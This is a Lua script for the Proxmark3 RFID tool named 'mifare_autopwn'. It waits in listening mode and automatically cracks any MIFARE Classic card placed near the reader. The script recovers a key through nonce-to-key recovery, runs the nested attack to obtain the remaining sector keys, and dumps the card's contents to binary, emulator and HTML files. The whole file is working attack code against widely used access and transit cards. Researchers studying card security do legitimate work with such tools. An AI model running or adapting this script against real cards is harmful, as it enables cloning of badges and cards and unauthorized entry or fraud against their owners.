local getopt = require('getopt') local reader = require('read14a') local cmds = require('commands') example = "script run mifare_autopwn" author = "Martin Holst Swende" desc = [[ This is a which automates cracking and dumping mifare classic cards. It sets itself into 'listening'-mode, after which it cracks and dumps any mifare classic card that you place by the device. Arguments: -d debug logging on -h this help Output files from this operation: .eml - emulator file .html - html file containing card data dumpkeys.bin - keys are dumped here. OBS! This file is volatile, as other commands overwrite it sometimes. dumpdata.bin - card data in binary form. OBS! This file is volatile, as other commands (hf mf dump) overwrite it. ]] ------------------------------- -- Some utilities ------------------------------- local DEBUG = false --- -- A debug printout-function function dbg(args) if DEBUG then print(":: ", args) end end --- -- This is only meant to be used when errors occur function oops(err) print("ERROR: ",err) return nil,err end --- -- Usage help function help() print(desc) print("Example usage") print(example) end --- -- Waits for a mifare card to be placed within the vicinity of the reader. -- @return if successfull: an table containing card info -- @return if unsuccessfull : nil, error function wait_for_mifare() while not core.ukbhit() do res, err = reader.read1443a() if res then return res end -- err means that there was no response from card end return nil, "Aborted by user" end function mfcrack() core.clearCommandBuffer() -- Build the mifare-command local cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 1} local retry = true while retry do core.SendCommand(cmd:getBytes()) local key, errormessage = mfcrack_inner() -- Success? if key then return key end -- Failure? if errormessage then return nil, errormessage end -- Try again..set arg1 to 0 this time. cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 0} end return nil, "Aborted by user" end function mfcrack_inner() while not core.ukbhit() do local result = core.WaitForResponseTimeout(cmds.CMD_ACK,1000) if result then -- Unpacking the three arg-parameters local count,cmd,isOK = bin.unpack('LL',result) if isOK ~= 1 then return nil, "Error occurred" end -- The data-part is left -- Starts 32 bytes in, at byte 33 local data = result:sub(33) -- A little helper local get = function(num) local x = data:sub(1,num) data = data:sub(num+1) return x end local uid,nt,pl = get(4),get(4),get(8) local ks,nr = get(8),get(4) local status, key = core.nonce2key(uid,nt, nr, pl,ks) if not status then return status,key end if status > 0 then print("Key not found (lfsr_common_prefix problem)") -- try again return nil,nil else return key end end end return nil, "Aborted by user" end function nested(key,sak) local typ = 1 if 0x18 == sak then --NXP MIFARE Classic 4k | Plus 4k typ = 4 elseif 0x08 == sak then -- NXP MIFARE CLASSIC 1k | Plus 2k typ= 1 elseif 0x09 == sak then -- NXP MIFARE Mini 0.3k typ = 0 elseif 0x10 == sak then-- "NXP MIFARE Plus 2k" typ = 2 else print("I don't know how many sectors there are on this type of card, defaulting to 16") end local cmd = string.format("hf mf nested %d 0 A %s d",typ,key) core.console(cmd) end function dump(uid) core.console("hf mf dump") -- Save the global args, those are *our* arguments local myargs = args -- Set the arguments for htmldump script args =("-o %s.html"):format(uid) -- call it require('../scripts/htmldump') args ="" -- dump to emulator require('../scripts/dumptoemul') -- Set back args. Not that it's used, just for the karma... args = myargs end --- -- The main entry point function main(args) local verbose, exit,res,uid,err,_,sak local seen_uids = {} -- Read the parameters for o, a in getopt.getopt(args, 'hd') do if o == "h" then help() return end if o == "d" then DEBUG = true end end while not exit do res, err = wait_for_mifare() if err then return oops(err) end -- Seen already? uid = res.uid sak = res.sak if not seen_uids[uid] then -- Store it seen_uids[uid] = uid print("Card found, commencing crack", uid) -- Crack it local key, cnt res,err = mfcrack() if not res then return oops(err) end -- The key is actually 8 bytes, so a -- 6-byte key is sent as 00XXXXXX -- This means we unpack it as first -- two bytes, then six bytes actual key data -- We can discard first and second return values _,_,key = bin.unpack("H2H6",res) print("Key ", key) -- Use nested attack nested(key,sak) -- Dump info dump(uid) end end end -- Call the main main(args)